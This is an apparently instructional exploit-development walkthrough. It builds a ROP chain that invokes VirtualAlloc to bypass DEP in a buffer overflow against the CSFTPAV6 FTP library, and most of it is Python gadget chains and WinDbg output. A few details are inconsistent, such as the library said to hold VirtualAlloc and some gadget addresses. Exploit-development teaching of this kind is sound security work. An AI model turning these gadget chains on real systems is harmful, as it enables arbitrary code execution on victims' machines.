0001-01-01
VirtualAlloc ROP
Let’s see how we can use VirtualAlloc to bypass DEP. VirtualAlloc is a Windows API function that can reserve, commit, or change the state of a region of pages in the virtual address space of the calling process. We are going to invoke VirtualAlloc by placing a skeleton of the function call on the stack through the buffer overflow, modifying its address and parameters through ROP, and then return into it. The skeleton should contain the VirtualAlloc address followed by the return address (which should be our shellcode) and the arguments for the function call. Let’s see the skeleton of VirtualAlloc:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect );
As shown in the function prototype, VirtualAlloc requires a parameter (dwSize) for the size of the memory region whose protection properties we are trying to change. However, VirtualAlloc can only change the memory protections on a per-page basis, so as long as our shellcode is less than 0x1000 bytes (which will probably always less than such size), we can use any value between 0x01 and 0x1000. The two final arguments are predefined enums. flAllocationType must be set to the MEM_COMMIT enum value (numerical value 0x00001000), while flProtect should be set to the PAGE_EXECUTE_READWRITE enum value (numerical value 0x00000040).343 This will allow the memory page to be readable, writable, and executable.
Note: Remember that in x86 arguments are passed through the stack, so we need to push them into the stack. and not store them into the register. Note: We will use VirtualAlloc but we could use an analogue function called VirtualProtect for the same purpose, which is changing the memory protections of the shellcode that is already located in the stack.
So we will need to push in the stack the following things:
- flProtect
- flAllocationType
- dwSize
- lpAddress
- Return Address (the address of our shellcode in stack)
- Kernel32!VirtualAlloc address
Note that we first insert the latest parameters in the stack, respecting the order in which the original function will access the parameters (the first parameter is the closest to EBP).
Also, as the VirtualAlloc function will perform a “ret” instruction, we want to return to our shellcode so it gets executed after. That is why we add the “Return Addres” (like a call
instruction would do, but as we aren’t doing a call
to VirtualAlloc and just a direct jump, we have to insert the return address manually). This way, once VirtualAlloc ends, the ret
instruction will take that return address (where our shellcode starts) and execute it, once the eXecute flag has been set.
Now, let’s see the issues that we will have to handle:
- We do not know the VirtualAlloc address beforehand. This is in the kernel32 library, which has ASLR enabled.
- We do not know the return address (where our shellcode is) and the lpAddress (where our shellcode is) argument beforehand.
- dwSize, flAllocationType, and flProtect contain NULL bytes.
We can deal with these problems by sending placeholder values in the skeleton. Then we will assemble ROP gadgets that will dynamically fix the values we have inserted in the stack, replacing them with the correct ones.
Let’s update the exploit to attach these values before the return address (therefore the exploit would be: these pushed values, the EIP overwrite, and the ROP chain to modify these values).
The following image depicts what we are doing:
We will insert the following values:
va = pack("<L", (0x45454545)) # dummy VirutalAlloc Address
va += pack("<L", (0x46464646)) # Shellcode Return Address
va += pack("<L", (0x47474747)) # # dummy Shellcode Address
va += pack("<L", (0x48484848)) # dummy dwSize
va += pack("<L", (0x49494949)) # # dummy flAllocationType
va += pack("<L", (0x51515151)) # dummy flProtect
Now, when we print ESP, we can see that the values are not inserted properly in the stack, as the value of our shellcode address and flAllocationType are 00000000:
0:077> dd esp - 24
014ae2e8 41414141 41414141 45454545 46464646
014ae2f8 00000000 48484848 00000000 51515151
014ae308 42424242 43434343 43434343 43434343
However, this won’t impact us since we’re going to overwrite them again with ROP, but it’s something we need to notice. Always inspect if the values you inserted in the stack are being properly reflected when the code is executed.
Patching VirtualAlloc dummy address using ROP
First we need the stack address of the first dummy value in the stack, which is the VirtualAlloc dummy address using ROP gadgets. This value is needed so we can patch it afterwards.
The easiest way to obtain a stack address close to the dummy values is to use the ESP value at the time of the access violation (which, if we see the image, it points to the ROP chain):
We cannot modify the ESP register, since it must always point to the next gadget for ROP to function. Instead, we will copy its value to another register. A gadget like “MOV EAX, ESP ; RET” would be ideal, but they typically do not exist as natural opcodes. We will need to search for another gadget, like the following one:
0x50501110: push esp ; pop REG ; ret
This way we push the value of esp to the top of the stack and then we save it via pop
to any register.
Our program does not have that type of gadget, but it does have the following gadget:
0x50501110: push esp ; push eax ; pop edi ; pop esi ; ret
That will push the ESP value to the stack, with the value of the register EAX (we don’t care). That way, we pop the value of EAX into EDI and the value of ESP into ESI. This way, the ESI register will contain the ESP address, as desired.
Let’s search for alternative gadgets that can help us:
0x505010a7: push esp ; push eax ; pop edi ; pop esi ; retn 0x0004 ; (1 found)
In this case, the ESP pointer gets modified by the retn 0x0004
so it’s not very useful…
0x505375cf: push esp ; push eax ; pop edi ; mov eax, esi ; pop esi ; ret ; (1 found)
This is very good because it adds an additional mov eax, esi
but the pop esi
instruction overried the value in esi
with the value of esp
.
Note: The “pure” rop gadgets like pop esp, ret
are not very common as normal programs would not normally do that. So most of the time we will need combined gadgets.
1. Obtaining the location of the VirtualAlloc parameter in stack
The csftpav6.dll
module uses VirtualAlloc
, which is the function we want to execute. We need the address of this function. However, the address of the VirtualAlloc
symbol is not predictable. This is because this symbol is inside ntdll.dll
, which has ASLR enabled. When this module is mapped in the memory, the address is randomized and therefore the address of this symbol will be randomized.
However, remember that each of the imported functions that a module need are inside the IAT
of the module. The entry of VirtualAlloc
in the csftpav6.dll
has a FIXED offset. When this function is mapped in memory, the entry of the IAT will be fulfilled dinamically with the address of VirtualAlloc
. Therefore, our approach will be to search inside the IAT for the address of VirtualAlloc.
This is the address of VirtualAlloc inside the IAT. This means that we can use the IAT entry along with a memory dereference to fetch the address of VirtualAlloc at runtime. We’ll do this as part of our ROP chain.
With a way to resolve the address of VirtualAlloc, we must understand how to use it. In the previous step, we placed a dummy value (0x45454545) on the stack for this API address as part of our buffer overflow, which we need to overwrite.
To do this overwrite, we will need to perform three tasks with our ROP gadgets.
First, locate the address on the stack where the dummy DWORD is. Second, we need to resolve the address of VirtualAlloc. Finally, we need to write that value on top of the placeholder value.
We are going to need multiple gadgets for each of these tasks. First we have to see the offset of our dummy value from the ESP. By inspecting ESP at the moment of the ROP chain, we can see that our temporal VirtualAlloc value is at offset -1C from ESP:
0:006> dd esp - 1C
0d39e300 45454545 46464646 00000000 48484848
0d39e310 00000000 51515151 42424242 43434343
0d39e320 43434343 43434343 43434343 43434343
The dummy value 0x45454545, which represents the location of the VirtualAlloc address, is at a negative offset of 0x1C from ESP. Ideally, since we have a copy of the ESP value in ESI, we would like to locate a gadget similar to the following:
sub esi, 0x1c
ret
This way we would have a pointer to the location of the VirtualAlloc address in the stack. Sadly, we couldn’t find this gadget or a similar one in CSFTPAV6. We’ll need to be a bit more creative. We could put the 0x1C value on the stack as part of our overflowing buffer and then pop that value into another register of our choice using a gadget. This would allow us to subtract the two registers (esi and the register that stores 0x1c) and get the desired address.
Note: As we are going to perform arithmetic opertion with registers, we should dump the value in esi
to eax
or ecx
as these registers commonly use these operations. The number of gadgets that we will find will be much higher.
The idea is to have a gadget put a copy of ESI into EAX, then pop the negative value into ECX from the stack. Next, we add ECX to EAX, and finally, copy EAX back into ESI.
One gadget that would be valid is:
0x5050118e: mov eax, esi ; pop esi ; ret ; (1 found)
The thing is that this gadgets perform an additional pop esi
instruction, which means that we will need to add an additional DWORD in the stack for this instruction.
We will do it like this:
rop = pack("<L", (0x5050118e)) # mov eaax, esi; pop esi; retn
rop += pack("<L", (0x42424242)) # junk for the pop esi value
Note: Usually, when debugging gadgets in our program, put a breakpoint at the gadget address you want to debug, or at the address of the first gadget in the chain. This way you skip the previous analysis, and go direcly to the gadget. We let the execution go to the end of the first gadget with the pt command and finish its execution with the p command.
If we debug this gadget, we will find that eax
will contain the value in esi
(nice) and that esi
has the dummy value (we don’t care about esi
anymore as our value is now in eax
, which is better for arithmetic gadgets).
Let’s see this gadget on debugging:
0:077> p
eax=00000000 ebx=05aec298 ecx=0185ca60 edx=77042da0 esi=0185e30c edi=00000000
eip=5050118e esp=0185e310 ebp=51515151 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
CSFTPAV6+0x118e:
5050118e 8bc6 mov eax,esi
0:077> p
eax=0185e30c ebx=05aec298 ecx=0185ca60 edx=77042da0 esi=0185e30c edi=00000000
eip=50501190 esp=0185e310 ebp=51515151 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
CSFTPAV6+0x1190:
50501190 5e pop esi
0:077> p
eax=0185e30c ebx=05aec298 ecx=0185ca60 edx=77042da0 esi=42424242 edi=00000000
eip=50501191 esp=0185e314 ebp=51515151 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
CSFTPAV6+0x1191:
50501191 c3 ret
0:077> dd eax
0185e30c 5050118e 42424242 43434343 43434343
0185e31c 43434343 43434343 43434343 43434343
0185e32c 43434343 43434343 43434343 43434343
As seen, esi
contains our dummy value on top of the stack and then eax
has the original esi
value (pointer to our original ESP location, the location of the first ROP gadget).
Next, we have to pop the -0x1C value into ECX and add it to EAX. We can use a “POP ECX” instruction to get the negative value into ECX, followed by a gadget containing an “ADD EAX, ECX” instruction. This will allow us to add -0x1C to EAX
Let’s search for this gadgets, will probably be pure as they are common operations:
0x505115a3: pop ecx ; ret ; (1 found)
0x5051579a: add eax, ecx ; ret ; (1 found)
Now we have to insert these two gadgets and the 0x1c value after the first gadget:
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xffffffe4)) # -0x1C
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
Note how the -0x1c is calculated, it is done like this:
- (28) in binary (32 bits):
00000000 00000000 00000000 00011100
- Inverting the bits:
11111111 11111111 11111111 11100011
- Add 1 (complemento a dos):
11111111 11111111 11111111 11100100
Now, inserting these gadget at the end shows us that the EAX points to our VirtualAlloc address in the stack, meaning that we already have a pointer to this value in EAX:
0:004> p
eax=0245e30c ebx=06651db0 ecx=ffffffe4 edx=77042da0 esi=42424242 edi=00000000
eip=5051579a esp=0245e320 ebp=51515151 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
CSFTPAV6!FtpUploadFileW+0x48fc:
5051579a 03c1 add eax,ecx
0:004> p
eax=0245e2f0 ebx=06651db0 ecx=ffffffe4 edx=77042da0 esi=42424242 edi=00000000
eip=5051579c esp=0245e320 ebp=51515151 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
CSFTPAV6!FtpUploadFileW+0x48fe:
5051579c c3 ret
0:004> dd eax L1
0245e2f0 45454545 46464646 00000000 48484848
0245e300 00000000 00000000 0245e30c 5050118e
With the correct value in EAX, we need to move that value back to ESI so we can use it in the next stages. We can do this with a gadget containing “PUSH EAX” and “POP ESI” instructions:
rop = pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xffffffe4)) # -0x1C
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x50537d5b)) # push eax ; pop esi ; ret
This way we can use EAX while ESI contains the calculated address. The next step is to get the VirtualAlloc address of the IAT and load it into a register.
2. Fetching the location of the VirtualAlloc address in the IAT via ROP
We previously found that the IAT address for VirtualAlloc is 0x5054A220, but we must remember that 0x20 is a bad character for our exploit. To solve this, we can increase its address by one and then use a couple of gadgets to decrease it to the original value. First, we will use a POP EAX instruction to fetch the modified IAT address into EAX. Then, we will pop -0x01 into ECX through a POP ECX instruction. Lastly, we will add the value of ECX into EAX, which will be like substracting 0x01 into EAX to obtain our desired value. Note how we are going to reused the previous gadgets as they are still useful:
rop += pack("<L", (0x5051680a)) # pop eax ; ret
rop += pack("<L", (0xFFFFFFFF)) # -0x01
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0x5054A221)) # VirtualAlloc address in IAT of module
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
This way, eax
will contain the IAT address where VirtualAlloc
is located. But we want to access such memory address to get the real location of the function. We manage to do this by referencing the register:
rop += pack("<L", (0x5051f278)) # mov eax, dword [eax] ; ret
This way, the value inside eax
(IAT pointer) is obtained and stored in eax
. Now, eax
contains the real address of VirtualAlloc:
Breakpoint 0 hit
eax=5054a220 ebx=064fb018 ecx=5054a221 edx=77042da0 esi=0102e2f0 edi=00000000
eip=5051f278 esp=0102e33c ebp=51515151 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
CSFTPAV6!FtpUploadFileW+0xe3da:
5051f278 8b00 mov eax,dword ptr [eax] ds:0023:5054a220={KERNEL32!VirtualAllocStub (76605680)}
0:002> p
eax=76605680 ebx=064fb018 ecx=5054a221 edx=77042da0 esi=0102e2f0 edi=00000000
eip=5051f27a esp=0102e33c ebp=51515151 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
CSFTPAV6!FtpUploadFileW+0xe3dc:
5051f27a c3 ret
0:002> u eax
KERNEL32!VirtualAllocStub:
76605680 8bff mov edi,edi
76605682 55 push ebp
76605683 8bec mov ebp,esp
76605685 5d pop ebp
76605686 ff2540b86676 jmp dword ptr [KERNEL32!_imp__VirtualAlloc (7666b840)]
7660568c cc int 3
7660568d cc int 3
7660568e cc int 3
We successfully jumped to the VirtualAlloc
function! eax
contains a pointer to this value.
3. Patching VirtualAlloc address with the obtained one
The last step is to replace the value we have in the location pointed by esi
, which is the address in the stack that holds the dummy value of VirtualAlloc, for this obtained value.
If we think a bit, a mov [esi], eax
gadget will be enough:
0x50524ea4: mov dword [esi], eax ; ret ; (1 found)
Let’s add this gadget in our ROP chain and see the final value of the address pointed by esi
:
0:002> p
eax=76605680 ebx=066db7a8 ecx=5054a221 edx=77042da0 esi=00fbe2f0 edi=00000000
eip=50524ea4 esp=00fbe340 ebp=51515151 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
CSFTPAV6!FtpUploadFileW+0x14006:
50524ea4 8906 mov dword ptr [esi],eax ds:0023:00fbe2f0=45454545
0:002> p
eax=76605680 ebx=066db7a8 ecx=5054a221 edx=77042da0 esi=00fbe2f0 edi=00000000
eip=50524ea6 esp=00fbe340 ebp=51515151 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
CSFTPAV6!FtpUploadFileW+0x14008:
50524ea6 c3 ret
0:002> dds esi L1
00fbe2f0 76605680 KERNEL32!VirtualAllocStub
If we inspect the stack (a bit down as we have inserted a lot of gadgets) we can see that the address pointed by esi
is the dummy value, that has been replaced with the correct value of VirtualAlloc
:
0:002> dds esp - 54
00fbe2ec 41414141
00fbe2f0 76605680 KERNEL32!VirtualAllocStub // [esi] pointed here, we managed to overwrite this value
00fbe2f4 46464646
00fbe2f8 00000000
00fbe2fc 48484848
00fbe300 00000000
00fbe304 00000000
00fbe308 00fbe30c
00fbe30c 5050118e CSFTPAV6+0x118e // These are our ROP gadgets and values
00fbe310 42424242
00fbe314 505115a3 CSFTPAV6!FtpUploadFileW+0x705
00fbe318 ffffffe4
00fbe31c 5051579a CSFTPAV6!FtpUploadFileW+0x48fc
00fbe320 00fbe2f0
00fbe324 5053a0f5 CSFTPAV6!FtpUploadFileW+0x29257
00fbe328 ffffffff
00fbe32c 505115a3 CSFTPAV6!FtpUploadFileW+0x705
00fbe330 5054a221 CSFTPAV6!FtpUploadFileW+0x39383
00fbe334 5051579a CSFTPAV6!FtpUploadFileW+0x48fc
00fbe338 5051f278 CSFTPAV6!FtpUploadFileW+0xe3da
00fbe33c 50524ea4 CSFTPAV6!FtpUploadFileW+0x14006
Patching the return address (our shellcode) using ROP
Remember that we inserted a dummy address prior to the call to VirtualAlloc? This is the dummy address that will be in the top of the stack when VirtualAlloc executes the ret
instruction. As we haven’t performed a call instruction as we are jumping via gadgets, we have to push the dummy address manually.
Now, we pushed a dummy address, that we need to patch with the dynamic address of where our shellcode is located. We will do basically the same as we did with VirtualAlloc: First, we must align ESI with the placeholder value for the return address on the stack. Then we need to dynamically locate the address of the shellcode and use it to patch the placeholder value.
Note: We can avoid starting from 0 as when the last ROP chain was executed, ESI was storing the address of VirtualAlloc, which is 4 bytes lower than the return address. Remember what information do your register contain in order to reuse it. An instruction like add esi, 0x04
would be great but it’s not available in this module.
In our case, we can find an INC ESI instruction. It’s not clean, but there are several gadgets that can do not have bad side effects, like the following:
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
Note that the INC instruction increments the register by one byte, so we have to add the instruction four times in order to increment esi by four bytes. The side effect will only modify EAX, which we do not have to worry about at this point:
# Step 2. Modify the shellcode address, return address, for our dynamically obtained shellcode address.
# Substract 4 bytes from ESI so it points to our dummy shellcode address in stack (0x46464646)
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
Once the four gadgets are executed, if we take a look at esi, it points to our controlled shellcode dummy value in the stack:
0:006> dd esi L1
0d4fe304 46464646
With ESI aligned correctly, we need to get the shellcode address in EAX so that we can reuse the “MOV DWORD [ESI], EAX ; RET
” gadget to patch the placeholder value. The issue we face now is that we do not know the exact address of the shellcode since it will be placed after our ROP chain, which we haven’t finished creating yet. Note that we don’t know where our shellcode will be as we will place it after the ROP chain, and not before it, as we have been doing in the previous buffer overflow techniques.
The approach to patch the value after we have placed all the ROP gadgets is using the value in ESI and adding a fixed value to it. Once we finish building the ROP chain, we can update the fixed value to correctly align with the beginning of the shellcode.
First, we need to copy ESI into EAX. We need to do this in such a way that we keep the existing value in ESI in a register like EAX as a backup, since we need it there to patch the placeholder value. The idea is to:
- have in ESI the address of the pointer to our shellcode
- have in EAX the address of our shellcode
So then we can fix
[ESI] with EAX
properly. Now we will use a dummy EAX value, likeESI
minus a certain fixed offset, just to have the gadgets properly stored in the stack. We will replace the offset value afterwards. An instruction like “MOV EAX, ESI” is optimal, but unfortunately, the only gadgets containing this instruction also pop a value into ESI. We can however solve this by restoring the value in ESI with the previously-used “PUSH EAX ; POP ESI ; RET” gadget. This way we can do the following:
rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret
We basically have now the same value in ESI and EAX. Now, we add the offset to EAX. Remember that it is a dummy offset. Note: Do not use badchars for the offsets, even if they are dummy. For example, instead 0x200, use 0x210.
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xfffffdf0)) # -0x210
rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret
Here we have substracted EAX 210 bytes (dummy quantity). Once we know the exact offset from ESI to the shellcode, we can update the 0xfffffdf0 value to the correct one. At this point, EAX contains a placeholder address for our shellcode, which we can update once we finish building the entire ROP chain.
Note: See how we have reused several gadgets for this section! Not only gadgets, but also the value of the registers that are already stored due to prior gadget chains.
Patching arguments to VirtualAlloc
We have successfully created and executed a partial ROP chain that locates the address of VirtualAlloc from the IAT and the shellcode address, and then updates the API call skeleton on the stack.
In this section, we must patch all four arguments required by VirtualAlloc to disable DEP. Let’s recap the function prototype of VirtualAlloc:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect );
Normally, we want the following:
- lpAddress should be the same value as the return address (the value of our shellcode)
- dwSize to be 0x01
- flAllocationType 0x1000
- flProtect 0x40
Patching lpAddress
Regarding lpAddress, we first need to know where this address is in the stack. If we take a look, we can see that it is 4 bytes lower than the ESI register (which contain the return address) so we can increment ESI by four in order to have control over lpAddress. Let’s use the same increment instructions:
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
Additionally, since lpAddress needs to point to our shellcode, we can reuse the same gadgets as before and only subtract a different negative value from EAX. In the previous example, we used the somewhat arbitrary value of -0x210 to align EAX to our shellcode. Since we increased ESI by 4, we need to use -0x20C or 0xfffffdf4 this time, as shown in the updated ROP chain below. We will reproduce the ROP chain to copy ESI value into EAX and then substract EAX 0x20c:
rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
rop += pack("<L", (0x42424242)) # junk
rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0xfffffdf4)) # -0x20c
rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
It is getting a lot easier to expand on our technique because we have already located most of the required gadgets and performed similar actions.
Now if we run the code, and inspect lpAddress and the return address, they should point to the same dummy address. Once we know the real offset from the shellcode, we will fix the offset and they should point to the shellcode address.
Patching dwSize
Now we are going to move to dwSize, which we can set to 0x01, since VirtualAlloc will apply the new protections on the entire memory page.
The issue is that the value is really a DWORD (0x00000001), so it will contain null bytes. We can’t perform a mov or an inc instruction, so we need to use another technique.
The new technique that we will use is the neg
instruction. This instruction will replace the value in a register for its two’s complement. This is equivalent to substract the value from zero.
In 32 bits we can abuse the fact that we can perform this operation and ignore the upper DWORD of the result to obtain the value we want.
For example, if we want to obtain 0x00000001, we can substract ffffffff from 0 and take the lower DWORD:
0:006> ? 0 - ffffffff
Evaluate expression: -4294967295 = ffffffff`00000001
Stripping the upper part is done automatically since registers on a 32-bit operating system can only contain the lower DWORD. Note that this is not valid per se in x64 and we would have to truncate the register (as the ffffffff value would exist after the calculation). Therefore, if we want to obtain a 0x01 value, we can just negate fffffffff from a register. Note: In 32 bits, we can use neg (compliment of two) of any value to obtain the same value but in positive, in the case that the value has null bytes.*
Once again, we must point to the dwSize variable in the stack to modify it. And once again, this variable is 4 bytes higher than ESI. So we can increment ESI by four again and then pop the value 0xffffffff into eax and negate it. Lastly, we can override the value that dwSize has for this value in EAX, which is 0x01.
Patching flAllocationType
Now we must move to flAllocationType, which must be set to 0x1000. We could try to reuse the trick of negation but we notice that two’s complement to 0x1000 is 0xfffff000, which also contains null bytes, so we keep having the problems:
0:063> ? 0 - 1000
Evaluate expression: -4096 = fffff000
While it would be possible to perform some tricks to fix this problem, we are going to use a different technique to highlight the fact that when selecting gadgets, we must often think creatively. We’re going to use the existing gadgets we found, which will allow us to pop arbitrary values into EAX and ECX and subsequently perform an addition of them.
We want to have 0x1000 as our final value in any register. We can substract any value with non-null badchars from 0x1000 and we can take the DWORD of the result and add it to the value we have chosen. This results in our 0x1000 value again, but we replace 0x1000 for these two values, the one we have chosen and the DWORD of the result, to obtain our desired value. Let’s see it graphically:
0:063> ? 1000 - 80808080
Evaluate expression: -2155901056 = ffffffff`7f7f8f80
0:063> ? 80808080 + 7f7f8f80
Evaluate expression: 4294971392 = 00000001`00001000
Note: Both values, the one chosen and its DWORD result from substraction, should not have badchars. It is recommended to choose long values. Now we need to update our ROP chain to pop 0x80808080 into EAX, pop 0x7f7f8f80 into ECX, and then add them together to obtain 0x1000 (due to the 32 bit truncation). Remember that to access flAllocationType dummy address we have to increment ESI by four again.
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0x80808080)) # first value to be added
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0x7f7f8f80)) # second value to be added
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
Note: due to the reuse of some gadgets, we can create conditional breakpoint to stop in a gadget but only if the value of the registers are the ones we want. For example, here stop in 0x505179a only if EAX is 0x80808080:
bp 0x5051579a ".if (@eax & 0x0`ffffffff) = 0x80808080 {} .else {gc}"
Patching flProtect
The last argument is the new memory protection value, which, in essence, is what allows us to bypass DEP. We want the enum PAGE_EXECUTE_READWRITE, which has the numerical value 0x40. In order to write that to the stack, we will reuse the same technique we did for flAllocationType. As it has null bytes (0x00000040) we have to do the neg trick. Let’s find out the value:
0:063> ? 40 - 80808080
Evaluate expression: -2155905088 = ffffffff`7f7f7fc0
0:063> ? 80808080 + 7f7f7fc0
Evaluate expression: 4294967360 = 00000001`00000040
According to the additions, we can use the values 0x80808080 and 0x7f7f7fc0 to obtain the desired value of 0x40. This would be the ROP chain to patch flProtect, doing everything we have done for the other variables (EIP increment, setting up the operations and patching the value in the address):
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
rop += pack("<L", (0x80808080)) # first value to be added
rop += pack("<L", (0x505115a3)) # pop ecx ; ret
rop += pack("<L", (0x7f7f7fc0)) # second value to be added
rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
Note: We have finished our full exploit with all the gadgets. A recommendation is to add the following gadget that will make a software breakpoint, in order to execute the entire ROP chain and catch the execution flow jut after the flProtect value has been patched:
rop += pack("<L", (0x5051e4db)) # int3 ; push eax ; call esi
Note that only int3 will be executed, the other instructions will get paused. Remember to remove it after inspecting that everything works:
0:078> g
(16b0.4c0): Break instruction exception - code 80000003 (first chance)
eax=00000040 ebx=05aebf60 ecx=7f7f7fc0 edx=77292da0 esi=0184e304 edi=00000000
eip=5051e4db esp=0184e40c ebp=51515151 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000203
CSFTPAV6!FtpUploadFileW+0xd63d:
5051e4db cc int 3
0:055> dds esi - 14
0184e2f0 76c05680 KERNEL32!VirtualAllocStub
0184e2f4 0184e504
0184e2f8 0184e504
0184e2fc 00000001
0184e300 00001000
0184e304 00000040
As we can see in ESI and lower locations the prepared call stack for the VirtualAlloc function has been prepared. We have the correct address for VirtualAlloc, the return address, and the four parameters: lpAddress, dwSize, flAllocationType and lpProtect.